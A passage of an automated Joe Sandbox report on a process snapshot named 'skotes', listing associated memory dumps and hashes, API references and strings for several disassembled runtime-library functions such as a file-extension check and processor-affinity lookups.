Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: v}
API String ID: 3213747228-3017820013
Opcode ID: 34f4d97034dcc1c2d53729d0286e36f03b51f96f67334992903d72193dc80121
Instruction ID: 37180f2949dc37939cec606bb69100546894de936bf7c3b2f27a38c5a3d0e866
Opcode Fuzzy Hash: 34f4d97034dcc1c2d53729d0286e36f03b51f96f67334992903d72193dc80121
Instruction Fuzzy Hash: 13B13672A052869FDB16CF68C8817AEBBF5EF45350F1441ABE949EB342D63C9D01CB60

Function 007D1B29 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 007D1B57
std::invalid_argument::invalid_argument.LIBCONCRT ref: 007D1B66
std::invalid_argument::invalid_argument.LIBCONCRT ref: 007D1C2A

Strings

switchState, xrefs: 007D1B5E
pContext, xrefs: 007D1C22

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$Concurrency::details::FreeIdleProcessorResetRoot::Virtual
String ID: pContext$switchState
API String ID: 2656283622-2660820399
Opcode ID: 825090d5170be5e1e19e41e8bf3cf9a632bb6b63d33c5de368c0673b222fa418
Instruction ID: a6016a59114138440f4e356fbcee8e0dc65ee9493bba4c022e8678edfca112b6
Opcode Fuzzy Hash: 825090d5170be5e1e19e41e8bf3cf9a632bb6b63d33c5de368c0673b222fa418
Instruction Fuzzy Hash: 2D31A475A00214EBCF05EF68C895AADB375FF44324F608567E91597392EB78EE01CAA0

Function 007D4E1A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

FindSITargetTypeInstance.LIBVCRUNTIME ref: 007D4E6D
FindMITargetTypeInstance.LIBVCRUNTIME ref: 007D4E86
PMDtoOffset.LIBCMT ref: 007D4EAC

Strings

Bad dynamic_cast!, xrefs: 007D4EEE

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: FindInstanceTargetType$Offset
String ID: Bad dynamic_cast!
API String ID: 1467055271-2956939130
Opcode ID: bd5b66365c28eaba9be3d6a006086556e7687c4494b9b216cb3b39d5203324a3
Instruction ID: 9b12f81fb38bd55681bb121aca6e56469a46617089002a6c244bafba5077c637
Opcode Fuzzy Hash: bd5b66365c28eaba9be3d6a006086556e7687c4494b9b216cb3b39d5203324a3
Instruction Fuzzy Hash: 4D21B572604205EFCF14DFA8DD4AEAA77B8FB44724B24412BF915D7380DB39E90086A1

Function 007D727C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 007D72BE

Strings

.bat, xrefs: 007D72ED
.com, xrefs: 007D72FE
.cmd, xrefs: 007D72DC
.exe, xrefs: 007D72CB

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: c8fd8192cf0a7b639de16cef324656fc62e8c67ef3ecd0be53d7e8168708b51e
Instruction ID: 751173ebd48f44abcd56278ec31c0733d605500469a479536cb2bdd7c3677c5a
Opcode Fuzzy Hash: c8fd8192cf0a7b639de16cef324656fc62e8c67ef3ecd0be53d7e8168708b51e
Instruction Fuzzy Hash: 6B012627718A6675A71810599D02B7613B89BC2BB4B26002BFC58F73C2FF4CDC42A1B0

Function 007BFA71 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 007BFB06

Strings

GetCurrentProcessorNumberEx, xrefs: 007BFABE
SetThreadGroupAffinity, xrefs: 007BFA87
GetThreadGroupAffinity, xrefs: 007BFA93
kernel32.dll, xrefs: 007BFA7A

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
